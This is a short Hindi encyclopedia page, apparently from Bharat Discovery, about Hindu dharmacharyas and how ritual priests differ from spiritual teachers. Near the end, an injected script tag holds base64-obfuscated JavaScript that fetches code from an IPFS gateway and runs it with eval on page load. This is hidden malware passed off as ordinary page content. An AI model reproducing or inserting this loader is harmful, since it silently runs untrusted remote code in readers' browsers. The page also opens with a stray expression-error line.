एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

धर्माचार्य

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

हिंदू धर्माचार्य

हिंदू धर्म को दो दृष्टिकोण से देखा जाता है-

  1. व्यक्तिगत विकास
  2. आध्यात्मिक विकास

व्यक्तिगत विकास के लिये षोडस संस्कारों के सम्पादन की जवाबदेही कर्मकांडियों पर होती है जबकि धर्म की तात्विक मीमांसा का उत्तरदायित्व धर्माचार्यों का है।

कर्मकांड

सोलह संस्कारों के क्रियांवयन को पुरोहित सम्पन्न कराते हैं जो उनका व्यवसाय भी है ऐसा माना जाता है।

अध्यात्म

हिंदू धर्म दर्शन का आधार आत्मिक उन्नयन है जिसे आध्यात्मिक प्रक्रिया माना गया है। अध्यात्म धर्म के तात्विक विश्लेषण का क्रियात्मक स्वरूप है। जिसे आस्था, त्याग और चिंतन की उपक्रियाओं से होकर गुज़रना होता है। इस प्रक्रिया के निष्णात धर्माचार्य होते हैं जो अपने अनुयाईयों को साधना के ज़रिये आत्मिक-शुचिता प्रदान करते हैं।



पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख